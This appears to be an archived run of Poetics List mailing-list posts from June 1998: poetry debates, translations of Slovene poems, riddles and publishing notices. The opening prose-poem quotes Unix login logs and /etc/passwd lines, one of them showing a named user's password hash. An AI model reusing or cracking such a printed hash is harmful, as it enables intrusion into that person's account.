Jun 27 03:47:34 166 PAM_pwdb[276]: (login) session closed for user root
Jun 27 03:47:37 166 PAM_pwdb[640]: (login) session opened for user root by (uid=0)
Jun 27 03:47:37 166 login[640]: ROOT LOGIN ON tty1
Jun 27 04:02:00 166 PAM_pwdb[769]: (su) session opened for user nobody by (uid=99)
Jun 27 04:02:41 166 PAM_pwdb[769]: (su) session closed for user nobody
(END)

Look now, "nobody:*:99:99:Nobody:/:"

Nobody's got a passwd. Here's the passwd of Daishin Nikuko! --

"nikuko:JRaNS9yL2HLGo:500:500::/home/nikuko:/bin/bash"

There you are! Nobody under user id 99 comes to visit, leaves again. If I, root, let you, you could be nobody too!

Jennifer points out that Emily Dickinson was nobody, "I'm nobody," etc. Emily Dickinson was on linux. Emily was the first on the Net, the first to be netted.

Emily writes:

> And then a Plank in Reason, broke,
> And I dropped down, and down --
> And hit a World, at very plunge,
> And Finished knowing -- then --

At which point #280 ends. Emily, our first avatar, says Jennifer.

Emily -- (says Jennifer)

Meanwhile:

```
USER     TTY FROM              LOGIN@  IDLE WHAT
root     p0  wonderland.gol.a  5:09AM  6:28 -csh (tcsh)
```

In wonderland in dawn Japan, the root, turning and murmuring ...

How beautiful -- says Jennifer!

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985. **Michael McColl**

Elementary Logic

Sat 27 Jun 1998

I've accidentally discarded Morpheal's message, but I still want to respond.

Certainly the representation in the novel described by Morpheal is not in itself proof that the author intended to perpetuate a stereotype or believes in the stereotype. That much simple logic might point to, but the situation is not simple nor is simple logic enough to account for it or respond to it. There is a history and a context involved that the blue eyes of the syllogism don't carry.

M's logic somewhat resembles that used by defenders of the death penalty who insist that racial bias be proved in an individual case, though statistical evidence proves that black defendants get the death penalty much more frequently than white defendants for the same or similar crimes. I mean that in prejudiced representations, each case, taken singly, could offer the defense that Morpheal proposes, and the world could be flooded with such images, creating and sustaining a stereotype, yet each new one that came along would be immune to the charge of trafficking in the stereotype. I am not suggesting that the author's guilt can be proven, nor that the author is guilty, nor am I taking any stand on any sanctions taken against the book--I only want to insist that such a representation is not necessarily innocent by virtue of it being a single instance and by definition not a general statement. The act of choice that placed the representation in the book at a particular point in history gives an emphasis to the instance which raises it beyond some ostensible abstract status of singularity. The history of theory of fiction is full of ideas concerning the universality of characters, the representative nature of individuals or places. The writer has presented an instance typical of a stereotype either consciously or unconsciously; the difference can sometimes be discerned, though perhaps not proved, by close reading, and if it's a conscious and not maliciously chosen strategy, will be judged differently from a careless reproduction. To those of

you who could have said this, and more, and better (including perhaps some transitions between ideas, I apologize.) Mike McColl

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986. **Henry Gould**
Hawaii 5-0
Sat 27 Jun 1998

Juliana Spahr requested other perspectives on the literary uproar she described. Here's one from somebody who's never read any of the authors mentioned nor been to Hawaii:

A talented author who knows how to play various ethnic cards & grind her own axe in the process gets some digs in about a rival ethnic group. The local literary officialdom, whose purpose in life is to parcel out grants & present official trophies, bumbles into that hornets' nest without giving it enough thought (like the aforesaid author too, maybe?). Lots of local or not local writers chew their nails - "gee, this is one powerful talented writer! Lots of people identify with her writing! But look what she's doing to the Filipinos! What should we do? Is this a campaign in the making? Am I authorized to make these comments?" Nobody has the guts to say: 1) she's right about SOME Filipinos - this is a problem with them [whether it really IS or not I, HG, have no clue--nor would I sanction any listblab on this]. and/or 2) this author is taking cheap shots at people in a chauvinist way which goes to show she either has a lot to learn or is just plain second-rate, and here we are making a big deal out of how great she is... a good writer takes the cheese out of his or her own kind, rather than bad-mouthing scapegoats. So I ask, why make this more complicated than it is? Why try to organize a group-think response? Why don't you - you Hawaiians in the know - decide for yourselves what you think, write it up, and if necessary, bump yourself off any official committees that compromise your position? What else is there to do? Sure, you may want to call on the association to revoke the award. Fine - but do you need us to tell you that? I'm trying to eat some Triscuits in peace! On my sofa, no less! Figure it out for yourself, in all its shades of gray.

- a completely unbiased complacent off-Island observer, Henry Gould

p.s. this posting certainly relates to the "writing-through other cultures" thread, and makes me think of the LONG poem I just finished starring an amalgam ghost-guide-mongrel-slangmeister named Bluejay, pal of Henry... o Lord, shades of Berryman... am I in for it now!!

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987. **joel lewis**
f.y.i.
Sat 27 Jun 1998

*** Newsreader keeps his cool, swallows fly

British television newsreader Jonathan Hill didn't want to make a scene when a fly flew into his mouthduring a live broadcast - so he swallowed it, newspapers reported Friday. Hill, 28, said his instinct was to spit out the fly but he felt that would disgust viewers. "I choked on my words but just couldn't spit it out on camera," said Hill, who was reading the news on a Welsh television channel. "It's a tea time show and viewers could have been made ill right across the country. I had to be professional with so many peoplewatching. "There was only one choice. I had to grin and bear it." Hill said that as a dedicated vegetarian it was the first meat he had eaten in years. "I definitely haven't got the taste for it back now," he said. (Reuters)

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988. **morpheal**
Re: Hawaii 5-0 [All Hawaiians Toss People Into Live Volcanos]
Sun 28 Jun 1998

> "*gee, this is one powerful talented writer! Lots of people identify with her writing! But look what she's doing to the Filipinos! What should we do? Is this a campaign in the making? Am I authorized to make these comments?" Nobody has the guts to say:*
> *1) she's right about SOME Filipinos - this is a problem with them*

Wrong thinking again.....Same problem as to logic.

No, it is not a problem with SOME Filipinos. Though that is a true statement.

It is a problem with some HUMANS. That is a truer statement.

Note particularly the emphasis on GENERIC CATEGORY.

The attribution of descriptors such as Filipino, man, heterosexual, member of a family, man with blue eyes, etc., is increasingly becoming misunderstood as meaning "some men with blue eyes beat their wives" when in fact it means some humans beat up on other humans. That particular instance happened to be a man, a Filipino, perhaps with blue eyes (I don't know his eye colour), etc., but in no way ought to be taken as implying that men do it but women do not, blue eyed men do it but green eyed men do not, Filipinos do it but Americans or Slavs do not, etc.

We could leave all the descriptive attributions out. Then we would lose all sense of scene. That would be a real problem with writing. Of course writers can

become paranoid and avoid all affinity attributions, as to sub-categories, and make everything generic. There are no men, no women, no family members, no relational designations, no eye colours, no ethnicities, but there is a story. Somehow that would not be really situated. Somehow we need to describe the scene further than a generic meta-category. That seems to be where the misunderstanding creeps in. Sometimes it sneaks into the writer's comprehension as well as the reader's, but most often the latter.

How to overcome this ? Change the way people write and describe scenes, so that they only refer to the broadest generic meta-categories ? Not quite. Instead, teachers must teach students, early on, how to think more logically, how to reason, how to comprehend such things without making false attributions and false generalizations, and how to understand the writer's setting up of scene for story. Of course, that implies that the teachers have to be truly educated.

The writer being made paranoid of mentionning any sub-category, and cringing as to having left out wolves, ferrets, avocados and other living things when using the "human" meta-category becomes the extreme of ridiculous and yet there is a tendency to push it that far. (Been there, and been pressured with that kind of programming. So I know what it is about.)

Oh, well, we lose on that one. It is no longer required to be able to think, or to learn to think, in order to be considered "educated" or to be a teacher of others. Simply a fact of post-modern life.

M.

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989. **morpheal**

Re: simple is as simple does [now you see it, now you don't]

Sun 28 Jun 1998

> *"[William Shockley's] basic rule for solving ANY problem is to go back to fundamentals: "Try simplest cases."*
> *Understanding is most likely to result, he says, from REDUCING the situation to its simplest elements and proceeding from there. His famous book on semiconductors follows the pattern: In Chapter I he sets forth the comparison of atomic structures to parking lots, complete with little sketches of cars to demonstrate traffic flow. By Chapter XV he is explaining that "the wave function A (theta) for the hole-wave packet...*

Human beings are too programmed into thinking in binary terms.

That might seem strange and too radical an assertion, but it is true.

The matter and spirit distinction is at the root of the problem. The body and soul problem is the same problem.

Science has followed that paradigm and looked mostly for bifurcations such as the wave - particle duality. That following of a paradigm does not necessarily mean that any kind of duality is as fundamental a principle of nature as we claim it usually to be. It is perhaps as likely to be a matter of subjectivity and prophetic expectations becoming self fulfilling. It depends on how the experiments are constructed, and that too depends on beliefs, does it not ?

What happens if we imagine a science that is based on a non dualistic principle rather than on the dualistic paradigm we are so familiar with and take so for granted ? Do some new phenomena suddenly reveal themselves that remained hidden by the fact of belief in dualism ?

I do not pretend an answer to that, only stating a question.

M.

(Trying to make some intellectual trouble again.)

↑ Index

990. **rsillima**
Forrest Gander & Araki Yasusada
Sun 28 Jun 1998

The current issue of The Nation has the best article I've read to date on Araki Yasusada, by Forrest Gander. Part of a series of reviews of books on Hiroshima & Nagasaki. It may be the best piece on poetry that's appeared in The Nation since Hank Lazer's work some years back. And the excerpts there from Yasusada certainly jump off the page in a way that contrasts starkly with the treacle offered up by two former neighbors of mine from the city of Berkeley, Chana Block and Richard Tillinghast, in the same issue.

Ron Silliman

↑ Index

991. **Alan J.J.N. Sondheim**
Emily's Riddle
Sun 28 Jun 1998

-

Emily's Riddle

There is a large house many storeys high, without doors. Built of wood and stone and brick, it withstands the strongest storms. The windows are curtained

or otherwise obscured (perhaps they are fogged over); one can see almost nothing of the dark interior. No sound or light emerges from within; no one has been seen looking out, half-hidden behind the shades. The house is without electricity, gas, water and sewer; apparently unin- habited, it seems nonetheless well kept up. The pathways around it are clean, the sidewalks immaculate. Lovely rose gardens grow nearby; these, too, seem unattended, but are always neat.

What is this house and who is the gardener?

The house is the past, and God is the gardener.

↑ Index

992. R. Gancie

Or just another hysterical response to indeterminates

Sun 28 Jun 1998

"Now let us see what these numbers mean in terms of a ballistic trajectory, which is the basic element needed to make a firing or bombing table. Such a calculation is a way of determining via Newton's Laws of Motion the shape and path taken by a shell, as a FUNCTION OF TIME, as it moves from the gun to some point, say on the ground. Of course, as the angle of elevation or muzzle velocity is changed this path will change. A typical trajectory or path required the order of 750 multiplications, and took a differential analyzer anywhere from 10 to 20 minutes to calculate it with a precision of about five parts per 10,000, which was about the utmost in accuracy attainable by such a machine.... The human cum desk calculator (10 seconds per multiplication) would then spend about 2 hours on the multiplying; and, with our estimate of a factor of six, about 12 hours doing an individual trajectory....The Harvard-IBM machine (3 seconds) required about 2 hours; the Bell machine (1 second), about 2/3 hour; and the mark II (0.4 seconds) about 1/4 hour. The differential analyzer took...about 10-20 minutes."---from The Computer from Pascal to von Neumann by Herman H. Goldstine --- "As to time, which, it is to be presumed, would, by way of the counterpart to space, constitute the object-matter of the other division of pure mathematics, this is the notion itself in the form of existence. The principle of quantity, of difference which is not determined by the notion, and the principle of equality, of abstract, lifeless unity, are incapable of dealing with that sheer restlessness of life and its absolute inherent process of differentiation. It is therefore ONLY IN AN ARRESTED AND PARALYSED FORM, ONLY IN THE FORM OF THE QUANTITATIVE UNIT, that this ESSENTIALLY NEGATIVE ACTIVITY becomes the object-matter of this way of knowing, which, itself an EXTERNAL OPERATION, degrades what is self-moving to the level of mere matter, in order

thus to get an indifferent, external, lifeless content."---from the Phenomenology of Mind by G.W.F. Hegel---cp

↑ Index

993. **Christian Roess**

Re: slovak poetry

Sun 28 Jun 1998

Sat, June 27 Tom Orange writes:

> *anyone know of interesting and/or experimental contemporary poetry written in slovak and as yet untranslated into english?*

I'm not sure. Perhaps you could get some more information by contacting Gwen Albert, editor of the journal_ Jejune: america eats its young_. (P.O. Box 85, 110 01 Praha 1, Czech Republic). She is an American poet /writer /editor living in Prague. Maybe she could be helpful? The interview published in Left Curve no.22 (info below) indicates she has knows something about the poetries of Czech Republic and Slovakia.

****

FYI to those subscribing to Poetics List:

In _ LEFT CURVE no.22_ printed version

[the Website is current only thru issue no.21 http://www.wco.com/~leftcurv]

there is an interview conducted 10/29/97 by Gwen Albert , talking to Paul Polansky and Czech Romany activist Lubomir Zubak. Both have been collecting the oral histories of Romany (Gypsy) survivors of the WWII era Czech -run Lety concentration camp. The Contributor's notes mentions that Polanksy is an American poet living in Prague. A book of his poems,_ Living through It Twice, Poems of the Romany Holocaust (1940-19997)_ has just been published in Prague, as has an oral history of Romany Czech survivors,_ Black Silence_.

" Polansky has continued to live with Romany families in Slovakia and the Czech Republic. Polanksy mentions that racial attacks by skinheads against the Romany population has amounted to over 1,200 in 1998 to bring the issue to a current statys. Polansky and Zubak continue to denounce two surviving guards from the camp for war crimes, and insist that the memorial unveiled at Lety in 1995---, which largely exists because of the publicity brought about by Polansky's researches (the article claims)----is not in accordance with the Helsinki Accords. Among the deficiencies are the fact that a pig farm which was built on the site has yet to be removed, the monument is not adequately marked and there is no easy access from the highway."

****

FYI about Slovene poetry (NOT Slovak poetry):

Not to confuse the request for as yet untranslated Slovak poetry, there is also an interesting section on 20th century Slovene poetry in Left Curve No. 22, with an introductory essay by Boris A. Novak. ".(Initially, I suppose, I confused Slovak with Slovene , until I came across this article).

(from the Contributor's Notes)
<<The Slovenian poems included in this issue were sent to us by the SLOVENE WRITERS' ASSOCIATION and selected from the magazine "VILENICA DESETNICA" (1986-1995) and from unpublished manuscripts.>>

Address listed:

SLOVENE WRITER'S ASSOCIATION
61000 Ljubljana
Tomsicva 12
SLOVENIA

(note the diacritic V goes above the 's' and 'c' in Tomsicya, , called a 'hacek' in my Webster's 9th and can't be reproduced from my keyboard.)

Part 1 of Boris Novak Introduction is called "The Slovene dual-aspect: an un-translatable form". Which reads:

"The Slovene language is one of the rare modern languages to have a retained the dual-aspect, an archaic grammatical form : in Slovene, this special form---midway between singular and plural---is used to refer to two things or to two people. For example, at the verbal level:

I speak / am speaking~~~~~> govorim

We speak / are speaking ~~~>govorimo
(3 people or more)

We (two) are speaking~~~~~>govoriva

The same goes for nouns,eg. :

A (one) book~~~~~~~~> knjiga

(the) books : ~~~~~~~~> knjige
(3 or more)

two books~~~~~~~~~~> knigi

[….The dual is the language of love, an isle of intimacy. Lying between two deserts---the silence of solitude, marked by the singular form, and the voice of the masses, represented by the plural---there is a whispering oasis which flour-ishes in our language. Here, two solitudes create a fragile link speaking to each other in a low voice, protected by the very syntax of the Slovene language.

When one translates Slovene poetry in which the dual form is use, one loses the atmosphere of intimacy which is granted us by the very structure of our language. More than any other dimensions of our culture, it is the dual form which symbolizes the soul of the slovene people. Indeed, we often say jokingly that Slovenia is so small that already two people together form a quantity which cannot be neglected....]

Here's a sample from the poems published:

Veno Taufer (b. 1933)

PERHAPS THE JUNIPER NEEDLES

this pain is not to be survived
the luminous rain
which cries through the airless space

unless beyond the monotony of sound
through its fissures there is
that dust perhaps that pollen

which no spider web can catch
nor even the darkness of memory
just this no more after that come the words the voices

the wizard letters the runefrost
perhaps the juniper needles
perhaps the unsurvivably sweet motion of a blade of grass

moving to the white breath of the fleet dragon
before the maw that space vanishing along teeth into a darkness
blue beyond the azure of candles

now the drops the drops just this
what kind how long
how many drops

what are the limits
as memory curves
in upon itself ?

(translated by Milne Holton)

*****

Milan Dekleva (b.1946)

ORIGIN OF LANGUAGE

Women talk the jargon of shattered flowerbeds
The sick talk from pain

Stones from stoniness
The stars mumble the gravitation of light.
To the prophet and illusionist the voice lends revelations.
The meadows are littered with alphabets of ants,
the cantilena of towns is a criss-cross of errands.

Only freedom speaks the pathos of its own being ,
which is freedom.
That speech is on the boundary.
It convenes the whole world
at the human ear.
Encircles us, as death encircles life.
Like wide-open doors we flap in time ,
the hundred times safeguarded secret
of worthlessness.

(translated by Alasdair MacKinnon)

*****

Iztok O'sojnik (b.1951)

A TRAM NAMED GRINZING

They killed Conrad in the first war.
I have seen two.
I had many men. The times
were such . Conrad
I remember well.
For a long time I crushed the heart
of a celebrated poet. Let's not mention names!
Whereas now I can't even see
the damned umbrella
I placed
right here , in front , on the floor of the tram.
We've just stopped
at the Siveringstrasse
The next stop's mine.

(translated by Mia Dintinjana)

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

↑ Index

994. **david bromige**
Alan Sondheim's House of Riddles
Sun 28 Jun 1998

It is a piece of writing identical with the piece of writing which raises the question that Alan poses.

Or if you prefer, it is a painting.

db3

↑ Index

995. **James Sherry**
Re: Forrest Gander & Araki Yasusada
Sun 28 Jun 1998

Ron, Hank's article was one of the few in the Nation. It is very difficult to accommodate art and the left. All the years of working with the relationship between Marx and poetry has not done much to erase the basic Platonic objections or the indelible association between money/power and art in the minds of left leaders who are more concerned with helping people to acquire the basics than with adorning the page. There has been little successful appeal to the value of using non-lexical technique as political tool, although it is done daily with a kind of blindness that is hard to accept in those talented people who see social justice as an important value to achieve.

Gander's review will be a good step, and I can't wait to see it. The Yasusada book has successfully broached the issue of essentialism, but most of the detractors do not want to approach the real concern and dwell inevitably on the offense. It will be interesting the see the response. As I remember Hank's article was followed by an attack by an in-house Nation author and Hank was given no chance to reply. I hope we will not have a repeat of such a breach of fairness.

James

On Sun, 28 Jun 1998 [redacted] wrote:

> *The current issue of The Nation has the best article I've read to date on Araki Yasusada, by Forrest Gander. Part of a series of reviews of books on Hiroshima & Nagasaki. It may be the best piece on poetry that's appeared in The Nation since Hank Lazer's work some years back. And the excerpts there from Yasusada certainly jump off the page in a way that contrasts starkly with*
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> *the treacle offered up by two former neighbors of mine from the city of Berkeley, Chana Block and Richard Tillinghast, in the same issue.*
>
> *Ron Silliman*

↑ Index

996. Alan J.J.N. Sondheim
the last of Emily's Riddle
Sun 28 Jun 1998

-

Emily's Riddle

There is something beautiful offering me space. Whenever I enter it, room is made for me. Yet as soon as I leave, the space is immediately occupied by others, and if I enter it again, I will never find the same. What is it?

The ocean.

↑ Index

997. nuyopoman
query: non-mainstream/avant garde dance theory
Sun 28 Jun 1998

Edwin. Denby.
He's our man. If he can't write it, nobody can!

Dear Mark --

There
s
The Collected Reviews of, and there's Buildings, Dancers, People in the Streets, and they togther are the best there is!

Did you all see Ron Padgett's blazing article in Friday NYTimes? Of poets in NY, with walt, Edwin, Jimmy, Frank, and Allen all putting in guest appearances. More Ron!

Bob H

↑ Index

998. **nuyopoman**
Jewloetry
Sun 28 Jun 1998

(unless you are Jewel 1.7
million
> >for her book of poems)

Source?

Bob Holman

↑ Index

999. **nuyopoman**
Pigpen
Sun 28 Jun 1998

Ronald "Pigpen" McKernan (epitaph : "Pigpen was and is now forever one of the grateful dead")

I held the symbols for him on stage at the Rock'n'Roll Express Conncert in Calgary, 7/4/70. That was right before Janis kissed me.

Bob H

↑ Index

1000. **Gwyn McVay**
Re: Pigpen
Sun 28 Jun 1998

>>>I held the symbols for him on stage at the Rock'n'Roll Express
^^^^^^^

Conncert in Calgary, 7/4/70. That was right before Janis kissed me.<<<

I have to know--this could, after all, be important: did you find his symbolism blatant, overt, calculated, subtle, inspired? The "turn on your lovelight" metaphor really belongs to Bobby "Blue" Bland, but I wonder about "easy wind 'cross the bayou today."

Gwyn "Close Reading" McVay

↑ Index

1001. **trbell**
Re: slovak poetry
Mon 29 Jun 1998

Might be something here. http://www.poetrysoc.com/translation/thome.htm site for European translations by the Times of London and the National Lottery. May also be a solution to the recent talk here about poetry and money?

tom bell

At 04:21 PM 6/28/98 -0400, you wrote:
> Sat, June 27 Tom Orange writes:
>
>>anyone know of interesting and/or experimental contemporary poetry written
>>in slovak and as yet untranslated into english?
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>I'm not sure. Perhaps you could get some more information by contacting Gwen Albert, editor of the journal_ Jejune: america eats its young_. (P.O. Box 85, 110 01 Praha 1, Czech Republic). She is an American poet /writer /editor living in Prague. Maybe she could be helpful? The interview published in Left Curve no.22 (info below) indicates she has knows something about the poetries of Czech Republic and Slovakia.
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>which cries through the airless space
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>unless beyond the monotony of sound
>through its fissures there is
>that dust perhaps that pollen
>
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>which no spider web can catch
>nor even the darkness of memory
>just this no more after that come the words the voices
>
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>the wizard letters the runefrost
>perhaps the juniper needles
>perhaps the unsurvivably sweet motion of a blade of grass
>
>
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>before the maw that space vanishing along teeth into a darkness
>blue beyond the azure of candles
>
>
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>what kind how long
>how many drops
>
>
>what are the limits
>as memory curves
>in upon itself ?
>
>(translated by Milne Holton)
>
>*****

>
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>Milan Dekleva (b.1946)
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>ORIGIN OF LANGUAGE
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>Women talk the jargon of shattered flowerbeds
>The sick talk from pain
>Stones from stoniness
>The stars mumble the gravitation of light.
>To the prophet and illusionist the voice lends revelations.
>The meadows are littered with alphabets of ants,
>the cantilena of towns is a criss-cross of errands.
>
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>Only freedom speaks the pathos of its own being ,
>which is freedom.
>That speech is on the boundary.
>It convenes the whole world
>at the human ear.
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>Like wide-open doors we flap in time ,
>the hundred times safeguarded secret
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>I have seen two.
>I had many men. The times

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>For a long time I crushed the heart
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>Whereas now I can't even see
>the damned umbrella
>I placed
>right here , in front , on the floor of the tram.
>We've just stopped
>at the Siveringstrasse
>The next stop's mine.
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>(translated by Mia Dintinjana)
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>_____
>Get free e-mail and a permanent address at http://www.netaddress.com/?N=1
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↑ Index

1002. **daniel bouchard**
Padgett's blazing article
Mon 29 Jun 1998

At 10:55 PM 6/28/98 EDT, [redacted] wrote:
>Did you all see Ron Padgett's blazing article in Friday NYTimes? Of poets in
>NY, with walt, Edwin, Jimmy, Frank, and Allen all putting in guest
>appearances. More Ron!

Does anyone by chance have electronic access to this article, and can send to the list?

↑ Index

1003. **sylvester pollet**

address change/Backwoods Broadsides

Mon 29 Jun 1998

To all & sundry, but particularly to those who send me mags/books in exchange for the Backwoods Broadsides Chaplet Series: my address has been changed again. Same house since we built it in '74/'75, but about the sixth address change. Now:

Sylvester Pollet
Backwoods Broadsides
963 Winkumpaugh Rd.
Ellsworth, Maine
04605-9529

The next two, # 36 & 37, are at press, and will be going out around mid-July. #36 ASTILBE/John Martone, #37 OPEN FIELD SUITE/Aram Saroyan. Subscriptions $10. yr. ppd. for 8 issues. If you missed #34 CHANCE MEETING/Kasuya Eiichi tr. D.W. Wright, and #35 BANNERS:TOKYO/Kathleen Fraser, you shouldn't have. Send $2. for those, or any two samples.

↑ Index

1004. **morpheal**

Re: Or just another hysterical response to indeterminates [Hegel, and Tipler as members of the Marx Brothers]

Mon 29 Jun 1998

> *minutes to calculate it with a precision of about five parts per 10,000, which was about the utmost in accuracy attainable by such a machine.... The human cum desk calculator (10 seconds per multiplication) would then spend about 2 hours on the multiplying; and, with our estimate of a factor of six, about 12 hours doing an individual trajectory....The Harvard-IBM machine (3 seconds) required about 2 hours; the Bell machine (1 second), about 2/3 hour; and the mark II (0.4 seconds) about 1/4 hour. The differential analyzer took...about 10-20 minutes."---from The Computer from Pascal to von Neumann by Herman H. Goldstine*

Now it can be calculated as soon as the target is identified and in range, and recalculated in terms of the delivery system's motion until the trigger is pulled, and recalculated in terms of the projectiles own course - with course corrections - right to target.

It simply has to be unthinkably "too fast", in order to be effective.

When we consider the velocity of some modern day projectiles, we realize how unthinkably fast too fast really is. Accurate prediction is best before the fact. The effort of science and technology is to predict as accurately as possible, and

as long before the event as possible, any event that could actually occur. That is fundamental to the siezing of power over events, and particularly against such events that might threaten human survival.

> "*As to time, which, it is to be presumed, would, by way of the counterpart to space, constitute the object-matter of the other division of pure mathematics, this is the notion itself in the form of existence.*"

Hegel is often very silly. (A lot of Hegel is religion in a new guise, and that gives rise to the religion of Marxism. No surprise as Karl Marx created, by derivation, a political-economic system, mostly derived from Hegel and the Bible, interpreted in terms of the conservative wing of German Protestantism. Of course, Marx deified the state, transferring the characteristics of the right wing Protestant "god" to the central organ of the political body. Marx would then prove correct, as to political evolution becoming that deification of the state, should Tipler prove correct as to the nature of the Omega-Point. The two ideas go hand in hand, and Tipler then would become shepherded into the marxist flock as one of its prophets of central state totalism. In fact, read Hegel's "Phenomenology of Spirit" from a Tiplerian viewpoint. I dare you to. At the very least you will see how Tipler and Hegel join the Marx Brothers.)

Time and space, being dimensions, have no existence per se, but exist only as the relativity of other material events, as the relativity of those events to each other. Time is not an object, but there must be existing objects or there is no relation among them, to each other, such that we can refer to as being durational. Those relations are defined by the intrinsic properties of objects, as determine their interactions and their individual existences. Location in space-time dimensions is at once considered characteristic of an existent and also considered as being determined by the characteristics of an existent.

The fact that physics has to deal with anomalies where the space-time paths of events are observably interrupted, becoming non local as to 4 dimensional space-time, vanishing to mythematical "infinity" and then sometimes reappearing at another space-time location, leads to the addition of a fifth dimension to the 4 dimensions of Einsteinian space-time. That becomes a pardigm shift, that is yet to be fully realized and defined.

M.

↑ Index

1005. **Herb Levy**

Re: query: non-mainstream/avant garde dance theory

Mon 29 Jun 1998

Hope this is still useful information, I wasn't able to telnet into e-mail often while I was out of town.

Most of these things aren't manifestos or academic criticism as such, but try

Gregory Battcock's anthology of essays "Art of Performance"; Jill Johnston had some books that collected her Village Voice dance reviews & essays from the 60s & 70s; Deborah Jowitt who subsequently wrote about dance after Johnston stopped also has some collections; there's a book of interviews with Merce Cunningham that I think is called Dancer & the Dance; Sally Banes has a couple of books that should be useful - one on Judson Church & a couple more general ones; Cindy Carr's On Edge is more about performance art but I think there's a few dance things in it;

Can't think of any more, but some of these should also have pointers to other sources.

Bests,

Herb

> *Hello listfolks:*
>
> *I'm interested in finding out some information about books and articles on contemporary dance, preferably on work outside the mainstream. I'm interested first and foremost on mainfesto/theory/statements of purpose work written by actual practioners and choreographers, but would interested also in academic criticism and/or theoretical work written on the subject. Either backchannel or a post to the list would be fine. My knowledge here is pretty shaky--anything anybody knows would help.*
>
> *Thanks.*
>
> *Mark Wallace*
>
> /----------\
> | |
> | [redacted] |
> | *GWU:* |
> | *http://gwis2.circ.gwu.edu/~mdw* |
> | *EPC:* |
> | *http://writing.upenn.edu/epc/authors/wallace* |
> |_____|

Herb Levy
[redacted]

↑ Index

1006. **daniel bouchard**
Re: protest of award for Yamanaka
Mon 29 Jun 1998

Juliana,

Thanks for this intelligent report on an important issue. It ties in to a lot of recent discussion here I think. My question is: was the panel and forum held in order to discuss rescinding the award, or some other kind of action to be taken?

Also, I wonder about your disclaimer: what is a "mainland haole," why does the disclaimer have a ring of "I am not worthy" in it, and whose authorization of the report would have been desirable?

At 09:25 AM 6/27/98 -1000, Juliana Spahr wrote:
>Disclaimer: please realize that since I am a mainland haole who has
>lived here for less than a year that this report is not authorized.
>Please supplement with other points of view (the Association discussion
>might be a good place to start).
<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<

↑ Index

1007. **Mark Prejsnar**
Re: protest of award for Yamanaka
Mon 29 Jun 1998

Despite her "disclaimer," Juliana's post on this topic was truly fascinating, informative, and politico-socially very astute.

Somewhat off her main topic (but very close to some primary interests of mine, and surely of the List's)---

i am mesmerized by the following:

" Is the unreliable narrator a flawed concept?
One built on elitist reading practices?"

Er, if the unreliable narrator is built on elitist reading practices, then the work of most folks on the list is in deep trouble. Because the good ol' U.N. is sure a minor wrinkle compared to the best, most interesting and compelling writing out there right now...Especially that which goes broadly under the rubric, "poetry."

A very pertinent example: the complex tones and voices of Juliana's own beguiling volume, Response.

mark
@lanta

↑ Index

1008. **Poetics List**
UB Mail Shutdown
Mon 29 Jun 1998

At approximately 6:00pm on Friday, July 10th, central email and UBUnix (University at Buffalo email server) will be disabled and remain unavailable until 8:00am on Monday, July 13th. During this time period all mail sent to the Poetics List will be queued for later delivery. Note also that there will be no incoming or outgoing mail for anyone with UB email (acsu.buffalo.edu).

↑ Index

1009. **linda russo**
Re: [Fwd: Natl. Lib. of Poetry page]
Mon 29 Jun 1998

My university library currently houses 3 recent volumes of that dreck. I'm going to forward the address to the acquisitions dept. and ask them to stop supporting them.

Just for a giggle, here's the anthology titles:
Isle of View -- '97
Through the Hourglass -- '96
Windows of the Soul -- '95

thanks, David Baratier, for bringing that webpage to my attention.

Linda Russo
* @ * % * & * # *

with only the sound of the mimeograph "kachucking"
and the pages swishing down . . . (Maureen Owen)

↑ Index

1010. **R. Gancie**
Reduce this!
Mon 29 Jun 1998

1.Reduction A DOCTRINE to which most philosophers of science subscribe (and to which I subscribed for many years) is the doctrine that the laws of such "higher level" sciences like psychology and sociology are reducible to the laws of the lower-level sciences--biology, chemistry, ultimately to the laws of elementary particle physics. Acceptance of the doctrine is generally identified with belief in "The Unity of Science" (with capitals), and rejection of it with belief in vitalism, or psychism, or, anyway, something bad. In this paper I want to argue that this doctrine is wrong.... I shall begin with a logical point and then apply it to the special case of psychology. The logical point is that from the fact that the behavior of a system can be deduced from its description as a system of elementary particles, it does not follow that it can be explained from that description...."---Reductionism and the Nature of Psychology by Hilary Putnam

↑ Index

1011. **Maria Damon (Maria Damon)**
thanks
Mon 29 Jun 1998

---

to all of you who received masha (maria) zavialova when she was in ny. she felt the trip was definitely worthwhile and she learned a lot and met a lot of folks and collected a lot of artifact. she's quite intrigued by the u.s. poetry scene and is planning some translations into russian.--md

↑ Index

1012. **Maria Damon (Maria Damon)**
Re: Pigpen
Mon 29 Jun 1998

At 10:55 PM 6/28/98, [redacted] wrote:
>Ronald "Pigpen" McKernan (epitaph : "Pigpen was and is now
>forever one of the grateful dead")
>
>I held the symbols for him on stage at the Rock'n'Roll Express Conncert in
>Calgary, 7/4/70. That was right before Janis kissed me.
>
>Bob H

which symbols, and of what? (hi bob)

↑ Index

1013. Elizabeth Treadwell
Outlet magazine/includes call for work
Mon 29 Jun 1998

Hello all, this is my first post: info on my year-old publishing venture, Double Lucy Books & periodical, Outlet:

Outlet (1) The Debutante (excerpts at our webpage, see below) Cheryl Burket, Norma Cole, Cydney Chadwick, Lily James, Yedda Morrison, Susan Smith Nash, Jocelyn Saidenberg, & Others

Outlet (2) Fairyland (available in early fall)
Merle Bachman, Todd Baron, Leslie Bary, MTC Cronin, Tan Lin,
Michelle Murphy, Linda Russo, Standard Schaefer, & Others

**** Outlet (3) Ornament is currently accepting submissions.****

Outlet (3) Ornament will include work which addresses fashion: ornament, the (synthetic) fixtures of the body, & the languages/technicalities of attire, both contemporary & historical. Deadline December 15, 1998.

When first submitting, please consider a 5 page limit. Please note that we cannot respond without either a SASE or an Email address, and also that we consider chapbook manuscripts, at this point, by request only. Send work to: PO Box 9013, Berkeley, CA 94709

& AN EXCERPT FROM OUR LATEST CHAPBOOK:

The Marriage of the Well Built Head,by Yedda Morrison, DLB 1998

"citizen treads in the darkened. conceiving a light switch. where would
it feel
or what
once lifted
light"

~ Yedda Morrison [(c) 1998]

